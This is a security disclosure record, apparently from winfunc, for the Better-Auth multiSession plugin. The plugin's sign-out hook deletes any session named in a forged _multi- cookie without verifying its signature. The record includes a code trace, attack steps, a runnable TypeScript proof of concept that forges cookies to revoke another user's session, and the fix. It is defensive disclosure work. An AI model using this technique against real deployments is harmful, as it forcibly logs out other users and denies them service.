Skip to content
winfunc
Disclosure record · Better-Auth

Multi-session sign-out hook allows forged cookies to revoke arbitrary sessions

Multi-session sign-out hook allows forged cookies to revoke arbitrary sessions

Better-AuthDisclosedSource record

Severity rating

Medium
Medium

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Record

Project
Better-Auth
Severity
Medium
CVE
None listed
Disclosed
Trace
5 steps

Summary

Source

signOut_after_hook_handler()

packages/better-auth/src/plugins/multi-session/index.ts:325

Sink

signOut_after_hook_handler()

packages/better-auth/src/plugins/multi-session/index.ts:345

The multiSession plugin's /sign-out after-hook (packages/better-auth/src/plugins/multi-session/index.ts) blindly trusts every cookie whose name matches the _multi- pattern. The handler splits the first segment of each raw cookie value and forwards the resulting strings to ctx.context.internalAdapter.deleteSessions(...) without ever calling ctx.getSignedCookie or verifying an HMAC.

Because the Cookie header is entirely attacker-controlled, any authenticated user who learns another account's plain session token (via logs, backups, or database reads) can forge a _multi-<victimToken> cookie, send it alongside their own session cookie, and coerce the hook into deleting the victim's session. No signing secret or adapter credentials are required; the only prerequisite is knowledge of the token bytes.

Status: Reproduced locally with Bun 1.3.0 using the exploit PoC below, which selects the correct /sign-out after-hook and demonstrates the forged-cookie flow against the current head of canary.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
Low
User interactionUI
None
ScopeS
Changed
ConfidentialityC
None
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledpackages/better-auth/src/plugins/multi-session/index.ts:325

    signOut_after_hook_handler()

  2. Step 01packages/better-auth/src/plugins/multi-session/index.ts:325

    Attacker-controlled Cookie header is read from the HTTP request during sign-out.

    typescript
    const cookieHeader = ctx.headers?.get("cookie");
    
  3. Step 02packages/better-auth/src/plugins/multi-session/index.ts:327

    Cookie header is parsed into key/value pairs without validation.

    typescript
    const cookies = Object.fromEntries(parseCookies(cookieHeader));
    
  4. Step 03packages/better-auth/src/plugins/multi-session/index.ts:339

    The first segment of the forged cookie value is treated as a session token.

    typescript
    const token = cookies[key]!.split(".")[0]!;
    
  5. Step 04packages/better-auth/src/plugins/multi-session/index.ts:345

    Collected tokens are submitted to the adapter, which deletes every referenced session.

    typescript
    await ctx.context.internalAdapter.deleteSessions(ids);
    
  6. Step 05packages/better-auth/src/db/internal-adapter.ts:669

    The internal adapter treats the supplied strings as session tokens and removes matching records from the database.

    typescript
    await deleteManyWithHooks([{ field: Array.isArray(userIdOrSessionTokens) ? "token" : "userId", value: userIdOrSessionTokens, operator: Array.isArray(userIdOrSessionTokens) ? "in" : undefined }], "session", undefined);
    
  7. Sinkpackages/better-auth/src/plugins/multi-session/index.ts:345

    signOut_after_hook_handler()

Impact

Reported impact

The victim is forcibly logged out and cannot refresh their session until they authenticate again. Attackers can iterate over every token they harvest, achieving cross-account denial of service and undermining authorization guarantees for all tenants using the plugin.

Attack surface

Any Better-Auth deployment that enables the multiSession plugin (tested on repository better-auth, branch canary, Bun runtime via bun run --conditions better-auth-dev-source).

Preconditions

The attacker controls any authenticated session (their own account suffices) and can obtain another user's plain session token (log leakage, backups, or DB read access). No signing secret or adapter access is needed.

Attack path

  1. 1

    Construct a Cookie header containing both a valid attacker session cookie and a forged multi-session cookie named better-auth.session_token_multi-<victimTokenLowercase> whose value starts with <victimToken>.anything.

  2. 2

    Send a POST request to /sign-out (or trigger any flow that executes the after-hook) while including the forged cookie.

  3. 3

    The handler parses cookies with parseCookies, splits the forged value on ., and forwards the attacker-supplied token to internalAdapter.deleteSessions(ids) with no verification, immediately killing the victim's session.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Requirements: Node.js 18+, pnpm 9+, and Bun 1.3.0.

    Install dependencies:

    bash
    git clone https://github.com/better-auth/better-auth.git
    cd better-auth
    git checkout canary
    pnpm install
    bun --version  # 1.3.0
    
  2. 02

    Target configuration

    Save the PoC below as force-signout.ts. It imports the real multiSession plugin, locates the /sign-out after-hook, and supplies forged _multi- cookie values while simulating a valid session cookie:

    ts
    import { multiSession } from 'packages/better-auth/src/plugins/multi-session';
    import type { AuthMiddleware } from 'packages/core/src/api/index';
    
    const plugin = multiSession();
    const hook = plugin.hooks.after?.slice().reverse().find((h) => h.matcher({ path: '/sign-out' } as any));
    const deleteSessions = (tokenList: string[]) => {
      console.log('deleteSessions invoked with:', tokenList);
    };
    
    const ctx = {
      headers: new Headers({
        cookie: 'better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake',
      }),
      context: {
        secret: 'dummy-secret',
        authCookies: {
          sessionToken: {
            name: 'better-auth.session_token',
            options: {},
          },
        },
        internalAdapter: { deleteSessions },
      },
      getSignedCookie: async (name: string) => (name.includes('_multi-') ? 'TARGETTOKEN' : 'my-valid-session'),
      setCookie: () => {},
      json: () => {},
    } as unknown as Parameters<AuthMiddleware>[0];
    
    if (!hook) {
      throw new Error('Sign-out hook not found');
    }
    
    (async () => {
      await hook.handler(ctx as any);
    })();
    
  3. 03

    Exploit delivery

    Execute the PoC with Bun so the better-auth-dev-source condition resolves to the TypeScript sources:

    bash
    bun run --conditions better-auth-dev-source force-signout.ts
    
  4. 04

    Expected response

    text
    deleteSessions invoked with: [ 'TARGETTOKEN' ]
    
  5. 05

    Outcome

    The script reproduces the attack locally against canary: the forged _multi- cookie is treated as genuine, and the adapter is instructed to delete the attacker-chosen token (TARGETTOKEN).

Remediation

Guidance

  1. Added extractVerifiedMultiSessionTokens helper to verify cookie signatures before generating the session token list.
  2. Updated the /sign-out after-hook to leverage the helper and short-circuit when no verified tokens exist.
  3. Introduced regression tests.
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.